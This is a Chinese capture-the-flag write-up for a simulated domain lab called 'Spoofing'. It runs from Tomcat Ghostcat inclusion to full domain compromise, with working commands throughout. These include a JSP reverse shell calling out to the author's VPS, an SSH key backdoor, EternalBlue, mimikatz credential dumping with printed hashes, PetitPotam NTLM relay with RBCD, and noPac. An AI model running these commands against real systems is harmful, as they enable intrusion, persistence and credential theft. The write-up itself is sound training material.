[春秋云镜] Spoofing仿真场景
文章目录
- 靶标介绍:`在这里插入代码片`
- 外网
- Tomcat文件包含
- 写公钥留后门
- 内网
- chisel搭代理
- MS17-010
- 强制认证
- RBCD
- nopac
- 参考文章
靶标介绍:在这里插入代码片
Spoofing是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
考点:
- CVE-2020-1983 Tomcat文件包含
- MS17-010
- NTLM Relay via WebDAV+Petitpotam Coerce Authentication
- RBCD
- noPac
外网
Tomcat文件包含
fscan扫描可以发现8080端口
再用dirsearch扫描一下, 可以发现一个/docs/
路由, 可以看到版本 9.0.30
这个版本的tomcat存在一个文件包含漏洞
直接打
https://github.com/00theway/Ghostcat-CNVD-2020-10487
python3 ajpShooter.py http://39.99.230.172/:8080 8009 /WEB-INF/web.xml read
<!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name>Archetype Created Web Application</display-name><security-constraint><display-name>Tomcat Server Configuration Security Constraint</display-name><web-resource-collection><web-resource-name>Protected Area</web-resource-name><url-pattern>/upload/*</url-pattern></web-resource-collection><auth-constraint><role-name>admin</role-name></auth-constraint></security-constraint><error-page><error-code>404</error-code><location>/404.html</location></error-page><error-page><error-code>403</error-code><location>/error.html</location></error-page><error-page><exception-type>java.lang.Throwable</exception-type><location>/error.html</location></error-page><servlet><servlet-name>HelloServlet</servlet-name><servlet-class>com.example.HelloServlet</servlet-class></servlet><servlet-mapping><servlet-name>HelloServlet</servlet-name><url-pattern>/HelloServlet</url-pattern></servlet-mapping><servlet><display-name>LoginServlet</display-name><servlet-name>LoginServlet</servlet-name><servlet-class>com.example.LoginServlet</servlet-class></servlet><servlet-mapping><servlet-name>LoginServlet</servlet-name><url-pattern>/LoginServlet</url-pattern></servlet-mapping><servlet><display-name>RegisterServlet</display-name><servlet-name>RegisterServlet</servlet-name><servlet-class>com.example.RegisterServlet</servlet-class></servlet><servlet-mapping><servlet-name>RegisterServlet</servlet-name><url-pattern>/RegisterServlet</url-pattern></servlet-mapping><servlet><display-name>UploadTestServlet</display-name><servlet-name>UploadTestServlet</servlet-name><servlet-class>com.example.UploadTestServlet</servlet-class></servlet><servlet-mapping><servlet-name>UploadTestServlet</servlet-name><url-pattern>/UploadServlet</url-pattern></servlet-mapping><servlet><display-name>DownloadFileServlet</display-name><servlet-name>DownloadFileServlet</servlet-name><servlet-class>com.example.DownloadFileServlet</servlet-class></servlet><servlet-mapping><servlet-name>DownloadFileServlet</servlet-name><url-pattern>/DownloadServlet</url-pattern></servlet-mapping>
</web-app>
看到有一个UploadServlet功能 能上传文件,所以可以包含文件rce
http://39.99.230.172:8080/UploadServlet
上传一个反弹shell的马
<%java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NC4xNy4xNjMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");
%>
/upload/32cd910d056dfdb8b3723953384949cd/20250514043049754.txt
python3 ajpShooter.py http://39.99.230.172:8080/ 8009 /upload/32cd910d056dfdb8b3723953384949cd/20250514043527042.txt eval
权限比较高, 写个公钥留后门, 方便连接
写公钥留后门
- 先在本地机器上生成 SSH 密钥对
ssh-keygen -t rsa -b 4096
使用
ssh-keygen
生成一对 RSA 密钥,包含私钥(id_rsa)和公钥(id_rsa.pub)
-t rsa
:指定密钥类型为 RSA
-b 4096
:指定密钥长度为 4096 位(高强度加密)
执行完成后会在本地用户的 ~/.ssh/ 目录下生成
-
私钥:~/.ssh/id_rsa(需保密)
-
公钥:~/.ssh/id_rsa.pub(可公开,用于认证)
- 查看公钥内容, 将公钥添加到目标服务器上
#在自己机器上
cat ~/.ssh/id_rsa.pub#在目标机器上
echo "公钥的内容" > /root/.ssh/authorized_keys
authorized_keys
文件是 SSH 服务器用于存储信任的公钥的配置文件。如果某公钥存在于此文件中,持有对应私钥的用户可以无需密码登录。
- 设置正确的文件权限
chmod 600 /root/.ssh/authorized_keys
SSH 要求 authorized_keys 文件具有严格的权限(通常为 600,仅文件所有者可读写),否则 SSH 服务器会忽略该文件以防止安全风险。
- 使用私钥登录目标服务器
ssh -i ~/.ssh/id_rsa 用户名@ip
使用本地的私钥(~/.ssh/id_rsa)以某个用户的身份(公钥所在的用户)登录服务器
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClXx0WvXOSZflYA93yb+wIlqgG3SKjc8Oxav9r5PXAUjiLL3sdz9mSVvGl9ykSgm/MfdrGsRTjdexi04mdZ3Y/nyOkZnD1Np4D1a3574J2ife/LtdrZXZVd154OgF9Fug5Sbeude/7YszO/nCIRRMGEZ6XlMt3E+wp+w0RDFnyj8sKipMh4NRWf7DpGil1BOk6NZJsObzqiOJki+NQnbzVNOqwtbZ4Uwg1XXXPq2D7j1LgmGY41lv0RhAkXuueabG51Kl797P+2VBZdPNlV3AlfEj8Xt9fr3GFx6h3cYvYI4JDh7QpkiIBEho4Y3g7qe38mXr3bzmuIncO1zfBZadZkb2yLNaWAEaLeK37end4Dr0owbkrTUmxT1BJ2issL45+uUGLwIlv1uTtxi1w3K+ffqirH5GKBcVxU5IOfPhfYwg+ZI4tg0tr7PRw527QzP7xMkT9KU6agpQ5sFVxx3ZfIN9R/UxHDl/EVA9gPvXKCj0cktPlwS8UOZ7DYwNe5SVSPFm9RJjrjtXSjYW/I1ICXpKEJz4HdVUHnWDRPYY7QtOwGRHvHZy+lPcvZMmXox0N6+Hs/yYvxB/wm3HdenI0Qa6N3fN1gqevuvCL2tN+uzumRHuNKw8is+JSeC7GquMulLT3IqfBqMowWnwGKs6/0NFV6LiiwOaIJb1VUPm/ew== kali@kali" > /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_rsa root@39.99.230.172
内网
自己的vps开启一个http服务, 让受控主机下载一下fscan和chisel工具 进行内网扫描以及代理搭建
python3 -m http.server 8080
然后受控主机下载文件
wget http://8.154.17.163:8080/fscan
wget http://8.154.17.163:8080/chisel
chmod +x fscan
chmod +x chisel
fscan扫描
[2025-05-14 16:50:55] [SUCCESS] 目标 172.22.11.76 存活 (ICMP)
[2025-05-14 16:50:55] [SUCCESS] 目标 172.22.11.6 存活 (ICMP)
[2025-05-14 16:50:55] [SUCCESS] 目标 172.22.11.26 存活 (ICMP)
[2025-05-14 16:50:56] [SUCCESS] 目标 172.22.11.45 存活 (ICMP)
[2025-05-14 16:50:58] [INFO] 存活主机数量: 4
[2025-05-14 16:50:58] [INFO] 有效端口数量: 233
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:88
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.76:22
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:389
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:139
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.26:139
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.45:139
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.26:135
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.45:135
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:135
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.45:445
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:445
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.26:445
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.76:8009
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.76:8080
[2025-05-14 16:50:59] [SUCCESS] 服务识别 172.22.11.76:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.6:88 =>
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.6:389 =>
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.6:139 => Banner:[.]
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.26:139 => Banner:[.]
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.45:139 => Banner:[.]
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.45:445 =>
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.6:445 =>
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.26:445 =>
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.76:8009 =>
[2025-05-14 16:51:05] [SUCCESS] 服务识别 172.22.11.76:8080 => [http]
[2025-05-14 16:52:04] [SUCCESS] 服务识别 172.22.11.26:135 =>
[2025-05-14 16:52:04] [SUCCESS] 服务识别 172.22.11.45:135 =>
[2025-05-14 16:52:04] [SUCCESS] 服务识别 172.22.11.6:135 =>
[2025-05-14 16:52:04] [INFO] 存活端口数量: 14
[2025-05-14 16:52:04] [INFO] 开始漏洞扫描
[2025-05-14 16:52:04] [INFO] 加载的插件: findnet, ldap, ms17010, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-05-14 16:52:04] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.11.6
主机名: XIAORANG-DC
发现的网络接口:IPv4地址:└─ 172.22.11.6
[2025-05-14 16:52:04] [SUCCESS] NetBios 172.22.11.6 DC:XIAORANG\XIAORANG-DC
[2025-05-14 16:52:04] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.11.26
主机名: XR-LCM3AE8B
发现的网络接口:IPv4地址:└─ 172.22.11.26
[2025-05-14 16:52:04] [SUCCESS] NetBios 172.22.11.26 XIAORANG\XR-LCM3AE8B
[2025-05-14 16:52:04] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.11.45
主机名: XR-DESKTOP
发现的网络接口:
[2025-05-14 16:52:04] [SUCCESS] NetBios 172.22.11.45 XR-DESKTOP.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[2025-05-14 16:52:04] [SUCCESS] 172.22.11.26 CVE-2020-0796 SmbGhost Vulnerable
[2025-05-14 16:52:04] [SUCCESS] 发现漏洞 172.22.11.45 [Windows Server 2008 R2 Enterprise 7601 Service Pack 1] MS17-010
[2025-05-14 16:52:04] [SUCCESS] 网站标题 http://172.22.11.76:8080 状态码:200 长度:7091 标题:后台管理
[2025-05-14 16:52:28] [SUCCESS] 扫描已完成: 26/26
172.22.11.6 DC:XIAORANG\XIAORANG-DC
172.22.11.76 本机
172.22.11.26 XIAORANG\XR-LCM3AE8B, CVE-2020-0796
172.22.11.45 XR-DESKTOP.xiaorang.lab MS17-010
chisel搭代理
服务端(vps)
./chisel server -p 8888 --reverse
客户端
./chisel client vps_ip:8888 R:0.0.0.0:9383:socks
MS17-010
fscan可以扫到一个ms17-010, 直接用msf打
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
exploit
cat C:/users/administrator/flag/flag02.txt
抓一下用户的凭据
load kiwi
creds_all
XR-DESKTOP$ XIAORANG 98d8418b4c1c5944f6e042486670c6ae
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 以及yangmei的明文
yangmei:xrihGHgoNZQ
强制认证
查看下WebClient和petitpotam
proxychains4 crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdavproxychains4 crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M petitpotam
Webdav
模块:CME 的 Webdav 模块用于检测或利用与 WebDAV(Web Distributed Authoring and Versioning)相关的配置或漏洞。WebDAV 是 HTTP 协议的扩展,常用于文件共享,可能通过 SMB 或 HTTP 提供服务。
PetitPotam
模块:PetitPotam 是一种针对 Windows Active Directory 环境的攻击技术,利用 MS-EFSRPC(Encrypting File System Remote Protocol)漏洞(CVE-2021-36942 或相关变种)强制目标服务器进行 NTLM 认证,从而捕获 NTLM 哈希或进行中继攻击
26开启了webclient服务(支持 WebDAV 协议,通过 HTTP/HTTPS 发起认证)
虽然有crackmapexec可以用,但是可能很卡,可以下一个cme的可执行文件 CME,扫一下WebClient和petitpotam
proxychains4 ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav
proxychains4 ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam
petitpotam
太卡了, 我没扫出来, cme
可执行文件的一些依赖我没有, 一直没配好, 拿了一张其他人的图
存在PetitPotam
漏洞
所以现在要使用的就是无ADCS + Petitpotam + ntlm中继打法
利用 PetitPotam 诱导目标主机通过 WebClient 服务访问我们控制的恶意 HTTP 服务器,捕获其 NTLM 认证请求, 并将捕获的NTLM认证中继到 ldap
, 以此机器账户的身份通过 ldap
修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity
属性, 配置到XR-LCM3AE8B.xiaorang.lab的RBCD
但这里有个前提,需要我们把服务器(中继:172.22.11.76
)80端口的流量转发到客户端(kali
)本地的80端口,但SSH的反向端口转发监听的时候只会监听127.0.0.1,所以这里我们让流量 0.0.0.0:80 转发到 127.0.0.1:79,这样就可以通过SSH的反向端口转发将79端口转发回本地的80端口 ,变相使80监听在0.0.0.0
ssh -i ~/.ssh/id_rsa root@39.99.230.172 -D 8.154.17.163:7777 -R \*:79:127.0.0.1:80
-D 8.154.17.163:7777
: 动态端口转发, 表示创建一个 SOCKS 代理
(这里我有点不懂它的作用是什么)
-R \*:79:127.0.0.1:80
:在远程服务器(39.99.230.172)上监听所有网络接口(0.0.0.0)的79端口, 并将流量转发到本地 Kali 机器的80端口
在远程服务器(39.99.230.172)上运行
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &
nohup
: 命令在终端断开后继续运行(后台执行)
socat
: 本地端口转发工具
TCP-LISTEN:80
:在端口 80 上监听 TCP 连接
fork
:为每个新连接创建子进程,确保可以处理多个并发请求
bind=0.0.0.0
:绑定到所有网络接口(0.0.0.0)
TCP:localhost:79
: 将接收到的流量转发到本地的 127.0.0.1:79
对应 SSH 反向转发的监听端口(由第一条命令的 -R *:79:127.0.0.1:80 创建)。
&
:将命令放入后台运行,结合 nohup 确保进程持久运行
测试,可以发现从172.22.11.76:80 进来的流量直接转发到了我们本地的80端口
nc -lvvp 80
proxychains curl http://172.22.11.76:80
接着本地开启ntlmrelayx,利用前面拿下的XR-Desktop
作为恶意机器账户设置RBCD,接着使用Petitpotam触发XR-LCM3AE8B认证到172.22.11.76
proxychains4 impacket-ntlmrelayx -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
捕获目标主机的 NTLM 哈希,并中继到域控制器 172.22.11.6 的 LDAP 服务,执行 RBCD 配置
-t ldap://172.22.11.6
:指定中继目标为域控制器 172.22.11.6 的 LDAP 服务
--no-dump
: 不转储域控制器的凭据(如 SAM 或 NTDS.dit),仅执行权限提升操作
--no-da
:不尝试将账户添加到域管理员组(Domain Admins),避免直接修改高权限组。
--no-acl
:不修改目标对象的 ACL,避免触发某些安全监控
--escalate-user 'xr-desktop$'
: 指定提升权限的账户为xr-desktop$
(受控制的账户)
--delegate-access
: 自动配置 RBCD,允许xr-desktop$
冒充任意用户访问目标主机的服务
proxychains4 python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
诱导目标主机 172.22.11.26 访问恶意 HTTP 服务器,触发 WebClient 的 NTLM 认证。
RBCD
proxychains4 impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :98d8418b4c1c5944f6e042486670c6ae xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
-spn cifs/XR-LCM3AE8B.xiaorang.lab
: 指定目标服务主体名称, 获取访问 XR-LCM3AE8B 的 CIFS 服务的票据
-impersonate administrator
: 指定冒充的用户为域管理员账户
-hashes
: 作为XR-Desktop$
账户的凭据进行认证
-dc-ip
: 指定域控制器
设置 KRB5CCNAME 环境变量
export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache
指定 Kerberos 票据的缓存文件路径,以便后续工具(如 impacket-smbclient 或 smbexec等)使用生成的票据进行认证
把XR-LCM3AE8B.xiaorang.lab
的ip加到hosts里
sudo vim /etc/hosts
172.22.11.26 XR-LCM3AE8B.xiaorang.lab
现在可以无密码连接了
proxychains4 impacket-psexec xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk
xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab
: 指定认证用户(域管理员账户 administrator)和目标主机(XR-LCM3AE8B.xiaorang.lab)
-k
: 使用 Kerberos 认证 ,依赖环境变量KRB5CCNAME
指定的 Kerberos 票据
-no-pass
: 表示不提供密码,与 -k 配合使用
nopac
添加管理员账户
net user xpw 123qwe! /add
net localgroup administrators xpw /add
使用添加的管理员用户rdp上去
proxychains4 xfreerdp /u:xpw /p:123qwe! /v:172.22.11.26 /drive:share,/mnt/xpw/kali_shard
上传猕猴桃, 抓取凭据
privilege::debug
sekurlsa::logonpasswords
zhanghui: 1232126b24cdf8c9bd2f788a9d7c7ed1
信息搜集一下可以发现zhanghui
用户在MA_Admin组里面, 对computer能够创建对象,能向域中添加机器账户,所以能打noPac
工具: https://github.com/Ridter/noPac
proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
-create-child
: 指示脚本创建一个新的机器账户作为攻击的载体
-use-ldap
: 使用 LDAP 协议与域控制器交互,执行机器账户的创建和sAMAccountName
修改
-shell
: 成功提权后,自动启动一个交互式 shell
type C:\users\administrator\flag\flag04.txt
参考文章
https://bowuchuling.github.io/posts/chunqiu_Spoofing
https://fushuling.com/index.php/2023/10/14/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%C2%B7spoofing/
https://www.cnblogs.com/backlion/p/17187375.html
https://xz.aliyun.com/news/12778